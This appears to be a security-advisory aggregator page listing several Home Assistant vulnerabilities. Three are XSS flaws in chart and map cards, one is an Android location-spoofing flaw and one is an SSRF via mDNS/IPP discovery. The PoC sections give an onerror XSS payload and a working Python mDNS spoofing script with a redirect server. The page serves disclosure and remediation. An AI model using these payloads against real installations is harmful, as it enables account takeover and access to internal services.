Where
-Infinity
0
Severity
9.3
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An authenticated party can add a malicious name to any statistics-capable entity, allowing for Cross-Site Scripting attacks against anyone who views a Statistics Graph card containing that entity, when they hover over any data point on the chart.

Payload <img width="1529" height="441" alt="image" src="https://github.com/user-attachments/assets/6926ce53-75fb-455a-bd4e-0c5281e8bed8" />

Payload triggering <img width="835" height="469" alt="image" src="https://github.com/user-attachments/assets/0bb9d17a-c123-4d44-8471-35097f65ddd2" />

An alternative, and more impactful scenario, is that the entity gets a malicious name from the provider of the integration (e.g. Tibber, Shelly, or any HACS integration), and is exploited that way through the default name — without requiring any direct access to the Home Assistant instance. This is the same supply-chain vector as CVE-2025-62172.

Details

The Statistics Graph card renders entity names in ECharts tooltips as raw HTML. The offending line is in src/components/chart/statistics-chart.ts:

https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L236

Where param.seriesName is interpolated verbatim into the returned HTML string:

return ${time}${param.marker} ${param.seriesName}: ${value};

No call to filterXSS() is made — unlike the Energy dashboard chart, which was patched as part of CVE-2025-62172:

// FIXED in energy-chart-options.ts:268 return ${param.marker} ${filterXSS(param.seriesName!)}: ...;

The statistics-chart component was not updated when the Energy chart was patched, leaving the same class of vulnerability in place.

The existing entity and payload used for CVE-2025-62172 is also a valid exploit for this vulnerability: <img width="962" height="500" alt="image" src="https://github.com/user-attachments/assets/35c84dcd-64d4-47b6-8df2-6c8b63cac880" />

The name value flows through the following chain:

1. name is set from getStatisticLabel(this.hass, statisticid, meta): https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/components/chart/statistics-chart.ts#L411

2. getStatisticLabel is defined here and calls computeStateName(entity): https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/data/recorder.ts#L329-L339

3. computeStateName is defined here — no HTML encoding is applied: https://github.com/home-assistant/frontend/blob/c13a80ce5e7ae39f0262444e2b6295a074a96732/src/common/entity/computestatename.ts

The only transformation applied to the name is replacing underscores with spaces (computeObjectId(entityId).replace(//g, " ")), which does not prevent HTML injection.

NB: Do note that only the fields Mean, State, Sum and Change are vulnerable. The top 3 (Min, Max, Mean) or the bottom 3 (State, Sum, Change) are selected by default though, making it vulnerable by default: <img width="105" height="216" alt="image" src="https://github.com/user-attachments/assets/7a784c90-cca5-46da-bcb9-6942ad81da0c" />

Another requirement is that the Chart Type is of type Line, not Bar, which is also the default: <img width="133" height="91" alt="image" src="https://github.com/user-attachments/assets/4f131495-9000-4a80-808b-bf4be9f7a2f6" />

---

PoC

1. In Settings → Devices & Services → Helpers, click + Create Helper. (For testing)

2. Choose Template → Template sensor. Fill in the form: - Name: test <img src=x onerror=alert(document.domain) /> - State template: {{0.00000001astimestamp(states('sensor.datetimeiso'))}} - Unit of measurement: kWh - State class: Measurement - Click Submit.

<img width="392" height="741" alt="image" src="https://github.com/user-attachments/assets/6a9b2c65-93fb-4d20-89b8-5a1f47a2bcb0" />

3. Open a dashboard and add a Statistics Graph card targeting the new sensor:

<img width="694" height="720" alt="image" src="https://github.com/user-attachments/assets/83996d12-d5ba-467a-9ca1-cbc46246ddff" />

NB: Set time-window to 5 minutes for ease of testing so you see data quickly

4. Hover over any data point on the chart.

5. The onerror handler fires — alert(document.domain) executes in the browser or HTML-injection appears depending on the payload

Exact helper as described here <img width="802" height="441" alt="image" src="https://github.com/user-attachments/assets/09284c10-bc39-410a-aff0-307e0bfd0502" />

Own sensor <img width="962" height="500" alt="image" src="https://github.com/user-attachments/assets/35c84dcd-64d4-47b6-8df2-6c8b63cac880" />

Own sensor 2 <img width="835" height="469" alt="image" src="https://github.com/user-attachments/assets/0bb9d17a-c123-4d44-8471-35097f65ddd2" /> ---

Impact

The vulnerability can be exploited remotely via the supply-chain vector: any integration that automatically names entities (e.g. energy providers like Tibber) could deliver the payload without requiring the attacker to have any account on the target Home Assistant instance. This mirrors the exact attack path described in CVE-2025-62172. The most likely exploit is also through energy providers due to them providing multiple entities compatible with statistic graphs.

Compared to CVE-2025-62172, this has the requirement that you add a Statistics Graph to your dashboard (or somehow view the entity in a Statistics Graph through other means, if such a method exists). Otherwise the attack flow is identical. Suggested CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

The root cause — missing filterXSS() on param.seriesName — is identical to the already-fixed Energy dashboard. The Statistics Graph card, which uses a shared statistics-chart component, was not included in the previous fix scope.

Credit: Robin Lunde - https://robinlunde.com

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
XSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The "remaining charge time"-sensor for mobile phones (imported/included from Android Auto it appears) is vulnerable to the same issue as CVE-2025-62172. <img width="431" height="334" alt="image" src="https://github.com/user-attachments/assets/84e0dfad-b986-4e84-ad0e-674c5da88582" /> This also indicates that any sensor showing their name in the history-graph, is likely to be vulnerable to this issue.

Details

Another entity was found which displays the same behavior as in this issue: CVE-2025-62172

The History-graph card will sometimes display the name of the entity it is displaying, when the graph is shown as a line with values on the x and y axis. This appears to be vulnerable to Cross-Site scripting (XSS) as it does not have any output escaping or sanitization.

The PoC in this instance only shows HTML-injection in the form of the <s> -tag being rendered as strike through, but the vulnerability also allows for injecting arbitrary tags which execute JavaScript, like the example given in the PoC description below.

PoC 1. Register a new sensor (or device) or change the name of an existing one, which provides a location 2. Change the name to something malicious, for example test <img src=x onerror=alert(document.domain) /> For a new entity, it should work when setting the name. For old entities, go here: <img width="1300" height="411" alt="image" src="https://github.com/user-attachments/assets/7dbd9afa-2f4b-4d03-9384-d57c53eaff5c" /> <img width="1383" height="885" alt="image" src="https://github.com/user-attachments/assets/c4cfba2e-e2d8-4817-92fe-f17ba7877e27" /> <img width="387" height="436" alt="image" src="https://github.com/user-attachments/assets/c40e986d-20ca-416e-bcdb-ca1d3afa77a4" /> <br> <img width="392" height="515" alt="image" src="https://github.com/user-attachments/assets/623fcf8c-eef1-4b17-853d-0ff5440aecaa" />

PS: the example pictures show changing the name of the device-tracker entity, which is wrong. Just change the name of the remaining charge time-sensor in order to validate this finding

3. Add a history graph card with the malicious sensor <img width="696" height="474" alt="image" src="https://github.com/user-attachments/assets/3cda78e6-3db5-4075-8924-ab9fc5759082" />

5. Hover the graph for payload execution <img width="343" height="196" alt="image" src="https://github.com/user-attachments/assets/99e56169-b06a-4c60-9343-510e5d74af12" />

Impact

The impact of this vulnerability is that a user can target other users of the system and perform account takeover through client side exploitation of XSS.

In the context of this system, I believe the vulnerability to be less impactful than the CVSS metric describes. It is not displayed anywhere by default, it is not natural to display this history graph, and it also has no potential for being imported through seemingly innocent integrations. It also appears to rely on having used/using Android Auto. Other devices which has the same sensor can trigger the same vulnerability, and I expect there to exists cloud-based devices that would enable a threat actor to deliver the payload remotely.

Credit: Robin Lunde - https://robinlunde.com

1 / 2
Source: GitHub
First published (updated )
Severity
7.3
XSS
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary An authenticated party can add a malicious name to their device entity, allowing for Cross-Site Scripting attacks against anyone who can see a dashboard with a Map-card which includes that entity. It requires that the victim hovers over an information point (The lines or the dots representing that device's movement, as shown in the screenshot below, with the example showing a html-injection using <s> to strikethrough the text) <img width="348" height="355" alt="image" src="https://github.com/user-attachments/assets/1af3ef33-3a72-4816-8ade-e6405aace176" />

This allows an authenticated user to execute JavaScript in the context of any other users accessing a dashboard.

Details

The vulnerability exists in the map-card by adding a malicious entity and having the property hourstoshow set. See example below, with the malicious entity being Pixel 9 <s> Fold Robin {{77}}: Map card with malicious device entity: <img width="338" height="332" alt="image" src="https://github.com/user-attachments/assets/15229cc3-1b69-438c-9ee5-cbfa9483aec9" />

YAML-view of same card: <img width="338" height="198" alt="image" src="https://github.com/user-attachments/assets/cd579266-75c3-4cdf-9d08-1544a6887feb" />

This issue largely resembles the issue documented in: CVE-2025-62172, but with an entity which can be displayed in a Map, instead of in an energy-dashboard.

PoC 1. Register a new sensor (or device) or change the name of an existing one, which provides a location 2. Change the name to something malicious, for example test <img src=x onerror=alert(document.domain) /> For a new entity, it should work when setting the name. For old entities, go here: <img width="1300" height="411" alt="image" src="https://github.com/user-attachments/assets/d240549e-f26c-4617-89d7-5480451ae5a3" /> <img width="1383" height="885" alt="image" src="https://github.com/user-attachments/assets/94db6186-ad54-476c-92a3-9f6870b0c862" /> <img width="387" height="436" alt="image" src="https://github.com/user-attachments/assets/f4c4b9f6-b1e7-4b50-9012-3be31c617be4" /> <br> <img width="392" height="515" alt="image" src="https://github.com/user-attachments/assets/a0f24d2f-cc18-4ef7-9071-40376dbb38c1" />

3. Add the entity to a map card, which has the "hours to show"-attribute set, to display movement history <img width="296" height="383" alt="image" src="https://github.com/user-attachments/assets/b2db55b6-3d4b-4ab0-91fe-fc26813ad5ff" /> <img width="692" height="410" alt="image" src="https://github.com/user-attachments/assets/aec15e07-12c0-4abf-ba73-979736131c7c" />

<img width="694" height="302" alt="image" src="https://github.com/user-attachments/assets/e4bb7cac-fe85-41eb-963c-1743e78d937c" />

(The left arrow showing the custom setting, and the right arrow showing a data point which needs to be hovered)

4. The payload executes when hovering a data-point (here shown with an "alert(document.domain"-payload) <img width="504" height="118" alt="image" src="https://github.com/user-attachments/assets/9f24e1fe-949f-4fa5-9e4f-781828a1343b" />

Impact The impact of this vulnerability is that a user can target other users of the system and perform account takeover through client side exploitation of XSS.

In the context of this system, I believe the vulnerability to be less impactful than the CVSS metric describes, as it requires a specific setup (map-card with attribute hourstoshow set, as this brings up the trail). It is interesting to note that any user who sets this attribute, will be highly likely to trigger the vulnerability through normal use. It also has no potential for being imported through seemingly innocent integrations and can only be set explicitly by another invited user, a device name, a cloud service or through social engineering. Other devices which has the same sensor can trigger the same vulnerability, and I expect there to exists cloud-based devices that would enable a threat actor to deliver the payload remotely.

Suggested criticality: Medium

Credit: Robin Lunde - https://robinlunde.com

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N

Home Assistant is open source home automation software that puts local control and privacy first. Prior to 2026.5.3, the LocationSensorManager BroadcastReceiver is exported with no permission. Any installed app, with zero runtime permissions, can broadcast a forged Google Play Services LocationResult directly to it; the receiver trusts the extra and forwards it to the user's Home Assistant server as the device's real location. This bypasses Android's developer-mode "Mock Location" gate and allows a local malicious app to drive zone-based automations (unlock door / disarm alarm / open garage) by faking the user's GPS position. This vulnerability is fixed in 2026.5.3.

First published (updated )
Severity
5.4
SSRF
AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Summary

Home Assistant Green is vulnerable to a Server-Side Request Forgery (SSRF) via the mDNS/Zeroconf IPP integration. An unauthenticated attacker on the local network can send a crafted mDNS response to trick Home Assistant into making HTTP requests to arbitrary hosts, including internal services bound to localhost. The IPP integration automatically processes ipp.tcp.local service announcements without any user interaction or authentication, and follows HTTP redirects from the attacker-controlled host.

Details

Home Assistant listens for mDNS service announcements on port 5353. When a service of type ipp.tcp.local is discovered, the IPP integration's zeroconf handler (homeassistant/components/ipp/configflow.py) processes it automatically.

The asyncstepzeroconf method extracts host, port, and basepath directly from the mDNS discovery info without validation:

python async def asyncstepzeroconf( self, discoveryinfo: ZeroconfServiceInfo ) -> ConfigFlowResult: host = discoveryinfo.host port = discoveryinfo.port zctype = discoveryinfo.type name = discoveryinfo.name.replace(f".{zctype}", "") tls = zctype == "ipps.tcp.local." basepath = discoveryinfo.properties.get("rp", "ipp/print")

self.discoveryinfo.update( { CONFHOST: host, CONFPORT: port, CONFSSL: tls, CONFVERIFYSSL: False, CONFBASEPATH: f"/{basepath}", CONFNAME: name, CONFUUID: uniqueid, } )

These values are then passed to validateinput(), which constructs an HTTP request (IPP over HTTP) to the attacker-controlled host:

python async def validateinput(hass: HomeAssistant, data: dict) -> dict[str, Any]: session = asyncgetclientsession(hass) ipp = IPP( host=data[CONFHOST], port=data[CONFPORT], basepath=data[CONFBASEPATH], tls=data[CONFSSL], verifyssl=data[CONFVERIFYSSL], session=session, ) printer = await ipp.printer() return {CONFSERIAL: printer.info.serial, CONFUUID: printer.info.uuid}

The core issue is that during the intentional discovery and retrieval of additional device information, the HTTP session blindly follows redirects. This allows an attacker to point the request at 127.0.0.1 or other internal services that are not otherwise network-accessible.

An attacker crafts an mDNS response advertising a fake IPP printer that points to the attacker's IP. The attacker's HTTP server then responds with a 302 redirect to any internal endpoint, causing Home Assistant to make the request on the attacker's behalf.

PoC

The PoC demonstrates the SSRF by sending a crafted mDNS response that causes Home Assistant to connect to the attacker's HTTP server, which redirects the request to an internal service.

Prerequisites

- Attacker machine on the same local network as the Home Assistant Green device - Python 3 with dependencies: pip install -r requirements.txt

Exploit Code

The core mDNS spoofing function builds and sends a DNS response advertising a fake IPP printer:

python def builddnsresponse(servicename, servicetype, attackerip, attackerport): transactionid = 0x0000 # mDNS always 0 flags = 0x8400 # Standard response, authoritative answer qdcount = 0 ancount = 4 # 4 answers (servicetype, SRV, TXT, A) nscount = 0 arcount = 0

SRV = servicename + '.' + servicetype header = struct.pack("!HHHHHH", transactionid, flags, qdcount, ancount, nscount, arcount)

def encodename(name): parts = name.split(".") out = b"" for p in parts: out += bytes([len(p)]) + p.encode("utf-8") out += b"\x00" return out

answers = b""

# PTR record: ipp.tcp.local -> meomeo.ipp.tcp.local answers += encodename(servicetype) answers += struct.pack("!HHI", 12, 1, 1) target = encodename(SRV) answers += struct.pack("!H", len(target)) + target

# SRV record answers += encodename(SRV) answers += struct.pack("!HHI", 33, 1, 120) srvdata = struct.pack("!HHH", 0, 0, attackerport) + encodename("hihiabcdmeomeo.local") answers += struct.pack("!H", len(srvdata)) + srvdata

# TXT record txtstrs = [b"abcd=efgh"] txtrecord = b"".join(bytes([len(s)]) + s for s in txtstrs) answers += encodename(SRV) answers += struct.pack("!HHI", 16, 1, 120) answers += struct.pack("!H", len(txtrecord)) + txtrecord

# A record: hihiabcdmeomeo.local -> attacker IP answers += encodename("hihiabcdmeomeo.local") answers += struct.pack("!HHI", 1, 1, 120) ipbytes = socket.inetaton(attackerip) answers += struct.pack("!H", len(ipbytes)) + ipbytes

return header + answers

def sendmdnsresponse(servicename, servicetype, hasip, attackerip, attackerport): sock = socket.socket(socket.AFINET, socket.SOCKDGRAM, socket.IPPROTOUDP) sock.setsockopt(socket.IPPROTOIP, socket.IPMULTICASTTTL, 255) packet = builddnsresponse(servicename, servicetype, attackerip, attackerport) sock.sendto(packet, (hasip, 5353))

The attacker's HTTP server redirects the incoming IPP request to an internal service:

python class RedirectHandler(BaseHTTPRequestHandler): def doPOST(self): self.sendresponse(302) self.sendheader("Location", "http://127.0.0.1:<INTERNALPORT>/<path>") self.endheaders()

Usage

bash python3 zeroconf.py -type ipp.tcp.local -hasip <HOMEASSISTANTIP> -attackerip <ATTACKERIP> -name meomeo

Exploit Flow

1. The script starts an HTTP server on port 8000 that responds with a 302 redirect to an internal service 2. A crafted mDNS response is sent to Home Assistant, advertising a fake IPP printer pointing to the attacker's IP and port 8000 3. Home Assistant's IPP integration automatically discovers the "printer" and connects to the attacker's HTTP server 4. The attacker's server responds with a 302 redirect to http://127.0.0.1:<port>/<path> 5. Home Assistant follows the redirect, making a request to the internal service on the attacker's behalf

Impact

An unauthenticated attacker on the same local network can coerce Home Assistant into issuing HTTP requests to arbitrary hosts, including services bound to 127.0.0.1 or other internal addresses that are not otherwise reachable. Exploitation requires no user interaction and no prior IPP configuration — the IPP integration processes ipp.tcp.local announcements automatically, and the HTTP client used to fetch printer metadata follows attacker-supplied redirects.

Mitigations

The shared aiohttp client used by integrations now blocks cross-origin redirects to internal addresses: when a request to a non-loopback host is redirected to a loopback or unspecified address, the redirect is refused and an error is raised instead of being followed. The check matches both literal hostnames (localhost and its subdomains) and hostnames that resolve to a loopback IP, so DNS-based bypasses are covered. Relative redirects, non-network URI schemes, and requests that already target loopback (legitimate local integrations) are unaffected.

Acknowledgements

Discovered by ZDI (ZDI-CAN-28336)

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203